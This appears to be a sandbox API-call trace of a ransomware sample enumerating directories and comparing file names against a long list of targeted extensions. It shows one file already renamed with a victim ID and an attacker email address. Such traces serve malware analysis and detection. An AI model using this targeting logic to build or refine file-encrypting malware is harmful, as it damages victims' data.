	[0061.022] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0061.022] lstrlenW (lpString=".edml") returned 5
	[0061.022] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0061.022] lstrlenW (lpString=".efd") returned 4
	[0061.022] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".elf") returned 4
	[0061.023] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".emf") returned 4
	[0061.023] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".emz") returned 4
	[0061.023] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".epf") returned 4
	[0061.023] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".eps") returned 4
	[0061.023] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".epsf") returned 5
	[0061.023] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0061.023] lstrlenW (lpString=".epsp") returned 5
	[0061.023] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0061.023] lstrlenW (lpString=".erf") returned 4
	[0061.023] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".exr") returned 4
	[0061.023] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".f4v") returned 4
	[0061.023] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".fido") returned 5
	[0061.023] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0061.023] lstrlenW (lpString=".flm") returned 4
	[0061.023] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".flv") returned 4
	[0061.023] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".frm") returned 4
	[0061.023] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".fxg") returned 4
	[0061.023] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".geo") returned 4
	[0061.023] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0061.023] lstrlenW (lpString=".gif") returned 4
	[0061.023] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".grs") returned 4
	[0061.024] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".gz") returned 3
	[0061.024] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0061.024] lstrlenW (lpString=".h") returned 2
	[0061.024] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0061.024] lstrlenW (lpString=".hdr") returned 4
	[0061.024] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".hpp") returned 4
	[0061.024] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".hta") returned 4
	[0061.024] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".htc") returned 4
	[0061.024] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".htm") returned 4
	[0061.024] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0061.024] lstrlenW (lpString=".html") returned 5
	[0061.024] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0061.024] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.024] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.024] lstrlenW (lpString=".1cd") returned 4
	[0061.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.024] lstrlenW (lpString=".3ds") returned 4
	[0061.024] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0061.024] lstrlenW (lpString=".3fr") returned 4
	[0061.024] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0061.024] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.025] FindClose (in: hFindFile=0x5e0730 | out: hFindFile=0x5e0730) returned 1
	[0061.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.025] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0061.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0061.025] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0630
	[0061.025] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.025] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80d33efc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d33efc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0061.025] lstrlenW (lpString="eula.rtf.id-B4197730.[vip76@protonmail.com].html") returned 48
	[0061.025] lstrlenW (lpString=".1cd") returned 4
	[0061.025] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0061.025] lstrlenW (lpString=".3ds") returned 4
	[0061.025] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0061.025] lstrlenW (lpString=".3fr") returned 4
	[0061.025] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0061.025] lstrlenW (lpString=".3g2") returned 4
	[0061.026] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".3gp") returned 4
	[0061.026] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".7z") returned 3
	[0061.026] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0061.026] lstrlenW (lpString=".accda") returned 6
	[0061.026] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".accdb") returned 6
	[0061.026] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".accdc") returned 6
	[0061.026] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".accde") returned 6
	[0061.026] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".accdt") returned 6
	[0061.026] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".accdw") returned 6
	[0061.026] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0061.026] lstrlenW (lpString=".adb") returned 4
	[0061.026] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".adp") returned 4
	[0061.026] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".ai") returned 3
	[0061.026] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0061.026] lstrlenW (lpString=".ai3") returned 4
	[0061.026] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".ai4") returned 4
	[0061.026] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".ai5") returned 4
	[0061.026] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".ai6") returned 4
	[0061.026] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0061.026] lstrlenW (lpString=".ai7") returned 4
	[0061.026] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".ai8") returned 4
	[0061.027] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".anim") returned 5
	[0061.027] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0061.027] lstrlenW (lpString=".arw") returned 4
	[0061.027] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".as") returned 3
	[0061.027] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0061.027] lstrlenW (lpString=".asa") returned 4
	[0061.027] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".asc") returned 4
	[0061.027] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".ascx") returned 5
	[0061.027] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0061.027] lstrlenW (lpString=".asm") returned 4
	[0061.027] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".asmx") returned 5
	[0061.027] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0061.027] lstrlenW (lpString=".asp") returned 4
	[0061.027] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".aspx") returned 5
	[0061.027] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0061.027] lstrlenW (lpString=".asr") returned 4
	[0061.027] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".asx") returned 4
	[0061.027] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".avi") returned 4
	[0061.027] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0061.027] lstrlenW (lpString=".avs") returned 4
	[0061.027] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".backup") returned 7
	[0061.028] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0061.028] lstrlenW (lpString=".bak") returned 4
	[0061.028] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".bay") returned 4
	[0061.028] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".bd") returned 3
	[0061.028] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0061.028] lstrlenW (lpString=".bin") returned 4
	[0061.028] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".bmp") returned 4
	[0061.028] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".bz2") returned 4
	[0061.028] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".c") returned 2
	[0061.028] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0061.028] lstrlenW (lpString=".cdr") returned 4
	[0061.028] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".cer") returned 4
	[0061.028] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".cf") returned 3
	[0061.028] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0061.028] lstrlenW (lpString=".cfc") returned 4
	[0061.028] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".cfm") returned 4
	[0061.028] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0061.028] lstrlenW (lpString=".cfml") returned 5
	[0061.028] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0061.028] lstrlenW (lpString=".cfu") returned 4
	[0061.028] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".chm") returned 4
	[0061.029] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".cin") returned 4
	[0061.029] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".class") returned 6
	[0061.029] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0061.029] lstrlenW (lpString=".clx") returned 4
	[0061.029] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".config") returned 7
	[0061.029] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0061.029] lstrlenW (lpString=".cpp") returned 4
	[0061.029] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".cr2") returned 4
	[0061.029] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".crt") returned 4
	[0061.029] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".crw") returned 4
	[0061.029] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".cs") returned 3
	[0061.029] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0061.029] lstrlenW (lpString=".css") returned 4
	[0061.029] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".csv") returned 4
	[0061.029] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".cub") returned 4
	[0061.029] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".dae") returned 4
	[0061.029] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".dat") returned 4
	[0061.029] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0061.029] lstrlenW (lpString=".db") returned 3
	[0061.029] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0061.029] lstrlenW (lpString=".dbf") returned 4
	[0061.029] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dbx") returned 4
	[0061.030] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dc3") returned 4
	[0061.030] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dcm") returned 4
	[0061.030] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dcr") returned 4
	[0061.030] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".der") returned 4
	[0061.030] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dib") returned 4
	[0061.030] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dic") returned 4
	[0061.030] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dif") returned 4
	[0061.030] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".divx") returned 5
	[0061.030] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0061.030] lstrlenW (lpString=".djvu") returned 5
	[0061.030] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0061.030] lstrlenW (lpString=".dng") returned 4
	[0061.030] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".doc") returned 4
	[0061.030] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".docm") returned 5
	[0061.030] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0061.030] lstrlenW (lpString=".docx") returned 5
	[0061.030] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0061.030] lstrlenW (lpString=".dot") returned 4
	[0061.030] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0061.030] lstrlenW (lpString=".dotm") returned 5
	[0061.030] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0061.030] lstrlenW (lpString=".dotx") returned 5
	[0061.031] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0061.031] lstrlenW (lpString=".dpx") returned 4
	[0061.031] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dqy") returned 4
	[0061.031] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dsn") returned 4
	[0061.031] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dt") returned 3
	[0061.031] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0061.031] lstrlenW (lpString=".dtd") returned 4
	[0061.031] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dwg") returned 4
	[0061.031] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dwt") returned 4
	[0061.031] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".dx") returned 3
	[0061.031] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0061.031] lstrlenW (lpString=".dxf") returned 4
	[0061.031] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".edml") returned 5
	[0061.031] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0061.031] lstrlenW (lpString=".efd") returned 4
	[0061.031] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".elf") returned 4
	[0061.031] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".emf") returned 4
	[0061.031] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".emz") returned 4
	[0061.031] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0061.031] lstrlenW (lpString=".epf") returned 4
	[0061.031] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".eps") returned 4
	[0061.032] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".epsf") returned 5
	[0061.032] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0061.032] lstrlenW (lpString=".epsp") returned 5
	[0061.032] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0061.032] lstrlenW (lpString=".erf") returned 4
	[0061.032] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".exr") returned 4
	[0061.032] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".f4v") returned 4
	[0061.032] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".fido") returned 5
	[0061.032] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0061.032] lstrlenW (lpString=".flm") returned 4
	[0061.032] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".flv") returned 4
	[0061.032] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".frm") returned 4
	[0061.032] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".fxg") returned 4
	[0061.032] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".geo") returned 4
	[0061.032] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".gif") returned 4
	[0061.032] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".grs") returned 4
	[0061.032] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0061.032] lstrlenW (lpString=".gz") returned 3
	[0061.032] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0061.032] lstrlenW (lpString=".h") returned 2
	[0061.032] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0061.033] lstrlenW (lpString=".hdr") returned 4
	[0061.033] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0061.033] lstrlenW (lpString=".hpp") returned 4
	[0061.033] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0061.033] lstrlenW (lpString=".hta") returned 4
	[0061.033] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0061.033] lstrlenW (lpString=".htc") returned 4
	[0061.033] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0061.033] lstrlenW (lpString=".htm") returned 4
	[0061.033] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0061.033] lstrlenW (lpString=".html") returned 5
	[0061.033] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0061.033] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.033] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.033] lstrlenW (lpString=".1cd") returned 4
	[0061.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.033] lstrlenW (lpString=".3ds") returned 4
	[0061.033] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0061.033] lstrlenW (lpString=".3fr") returned 4
	[0061.033] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0061.033] lstrlenW (lpString=".3g2") returned 4
	[0061.033] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0061.033] lstrlenW (lpString=".3gp") returned 4
	[0061.033] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0061.033] lstrlenW (lpString=".7z") returned 3
	[0061.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.033] lstrlenW (lpString=".accda") returned 6
	[0061.033] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1
	[0061.033] lstrlenW (lpString=".accdb") returned 6
	[0061.033] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1
	[0061.034] lstrlenW (lpString=".accdc") returned 6
	[0061.034] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1
	[0061.118] lstrlenW (lpString=".accde") returned 6
	[0061.118] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1
	[0061.118] lstrlenW (lpString=".accdt") returned 6
	[0061.118] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1
	[0061.118] lstrlenW (lpString=".accdw") returned 6
	[0061.118] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1
	[0061.118] lstrlenW (lpString=".adb") returned 4
	[0061.118] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0061.118] lstrlenW (lpString=".adp") returned 4
	[0061.118] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0061.118] lstrlenW (lpString=".ai") returned 3
	[0061.119] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0061.119] lstrlenW (lpString=".ai3") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ai4") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ai5") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ai6") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ai7") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ai8") returned 4
	[0061.119] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".anim") returned 5
	[0061.119] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1
	[0061.119] lstrlenW (lpString=".arw") returned 4
	[0061.119] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".as") returned 3
	[0061.119] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0061.119] lstrlenW (lpString=".asa") returned 4
	[0061.119] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".asc") returned 4
	[0061.119] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0061.119] lstrlenW (lpString=".ascx") returned 5
	[0061.119] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1
	[0061.119] lstrlenW (lpString=".asm") returned 4
	[0061.119] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".asmx") returned 5
	[0061.120] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1
	[0061.120] lstrlenW (lpString=".asp") returned 4
	[0061.120] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".aspx") returned 5
	[0061.120] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1
	[0061.120] lstrlenW (lpString=".asr") returned 4
	[0061.120] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".asx") returned 4
	[0061.120] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".avi") returned 4
	[0061.120] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".avs") returned 4
	[0061.120] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".backup") returned 7
	[0061.120] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1
	[0061.120] lstrlenW (lpString=".bak") returned 4
	[0061.120] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
